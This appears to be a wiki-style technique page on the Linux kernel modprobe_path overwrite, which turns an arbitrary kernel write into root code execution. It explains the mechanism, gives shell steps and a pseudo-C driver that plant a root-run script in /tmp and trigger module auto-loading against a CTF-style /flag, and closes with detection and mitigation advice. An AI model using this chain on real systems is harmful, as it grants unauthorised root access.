modprobe_path overwrite¶
Use a kernel arbitrary write to replace the writable
modprobe_pathglobal with the path to an attacker-controlled script, then trigger module auto-loading so the kernel executes that script as root.
Mechanism¶
When the kernel meets a binary whose format it does not recognise, it tries to auto-load a binfmt handler by spawning a userspace helper. The program it spawns is named by a writable kernel global, modprobe_path, which defaults to /sbin/modprobe. The helper runs in a fresh kernel thread with full root credentials, so whoever controls the string controls a root-privileged execve.
Note
The invariant being broken is "the module loader path is trusted." modprobe_path is declared as an ordinary, non-const, writable array in kernel/kmod.c:
On execve() of an unknown format, the chain is roughly:
do_execveat_common() -> bprm_execve() -> exec_binprm()
-> search_binary_handler() -> request_module("binfmt-%04x", ...)
-> __request_module() -> call_modprobe()
search_binary_handler() requests a module named after the first bytes of the file (e.g. binfmt-ffff when the magic is \xff\xff\xff\xff). call_modprobe() then builds the argv from the global and runs it via the usermode-helper machinery:
argv[0] = modprobe_path; /* attacker-controlled */
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
Because the helper executes with kernel-thread credentials (root), and the path is plain writable data, a data-only corruption (no control-flow hijack, no ROP) is enough: overwrite the string, trigger the loader, get root. This is why it is the favourite finisher for write primitives — it sidesteps prepare_kernel_cred/commit_creds calling conventions and survives KASLR as a fixed offset from the kernel base. See also call-usermodehelper-privesc and the analogous core-pattern-overwrite-privesc.
Walkthrough¶
You need an arbitrary-write primitive into kernel memory and the address of modprobe_path.
- Find the symbol.
modprobe_pathlives at a constant offset from the kernel base; on a debug box you can read it directly:
With KASLR, leak the kernel base (e.g. proc-kallsyms-symbol-address-leak or kernel-base-leak-via-ops-pointer) and add the known offset.
- Place the payload on disk. Two files: a root-run script, and a malformed "binary" with an unknown magic.
$ cat > /tmp/x <<'EOF'
#!/bin/sh
cp /flag /tmp/flag
chmod 777 /tmp/flag
EOF
$ chmod +x /tmp/x
$ printf '\xff\xff\xff\xff' > /tmp/dummy
$ chmod +x /tmp/dummy
!!! warning
The helper is spawned with a minimal environment and no shell PATH guarantees, and modprobe_path is only KMOD_PATH_LEN (256) bytes — keep the path short (/tmp/x). The script file must start with a valid #! interpreter line and be executable, otherwise the kernel thread cannot run it. The dummy must have a magic the kernel does not recognise (4 non-#!, non-ELF bytes such as \xff\xff\xff\xff).
- Overwrite the global with your write primitive. Conceptually:
/* arbitrary_write(addr, buf, len) provided by the bug */
char newpath[] = "/tmp/x";
arbitrary_write(modprobe_path_addr, newpath, sizeof(newpath)); /* incl. NUL */
- Trigger the loader by executing the malformed file. Any of these forces the unknown-format path:
The failed execve causes request_module("binfmt-ffff") -> call_modprobe() -> execve("/tmp/x", ...) as root.
- Collect the result.
??? example "Minimal end-to-end driver (pseudo-C around the bug's write primitive)"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
system("echo -e '#!/bin/sh\\ncp /flag /tmp/flag; chmod 777 /tmp/flag' > /tmp/x; chmod +x /tmp/x");
system("printf '\\xff\\xff\\xff\\xff' > /tmp/dummy; chmod +x /tmp/dummy");
unsigned long mp = leak_modprobe_path(); /* via kallsyms/base leak */
char path[] = "/tmp/x";
arbitrary_write(mp, path, sizeof(path)); /* the kernel bug */
system("/tmp/dummy 2>/dev/null"); /* fire the loader */
system("cat /tmp/flag");
return 0;
}
Detection¶
- Auditd / fanotify rules on
execveofmodprobe_pathwhere the value is not/sbin/modprobe(or the distro default) flag an active overwrite. - A
modprobeinvocation whose argv[0] points into/tmp,/dev/shm, or other user-writable paths is a strong signal. - Periodically read
/proc/kallsyms(or a kernel watchpoint in a lab) for changes to themodprobe_pathbytes; the legitimate value is stable across a boot.
Mitigation¶
CONFIG_STATIC_USERMODEHELPER=yredirects all usermode-helper spawns through a single compile-time constant path, ignoringmodprobe_pathentirely:
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
When set (and the configured path is not writable), overwriting modprobe_path has no effect.
- Disable autoloading of unprivileged binfmt modules (modules_disabled, or restrict request_module via LSM) so the unknown-format trigger cannot reach the loader.
- The root cause is still the arbitrary write — kernel CFI, hardened allocators, and bug-class mitigations that prevent obtaining the write primitive are the real fix; modprobe_path is only the convenient final stage.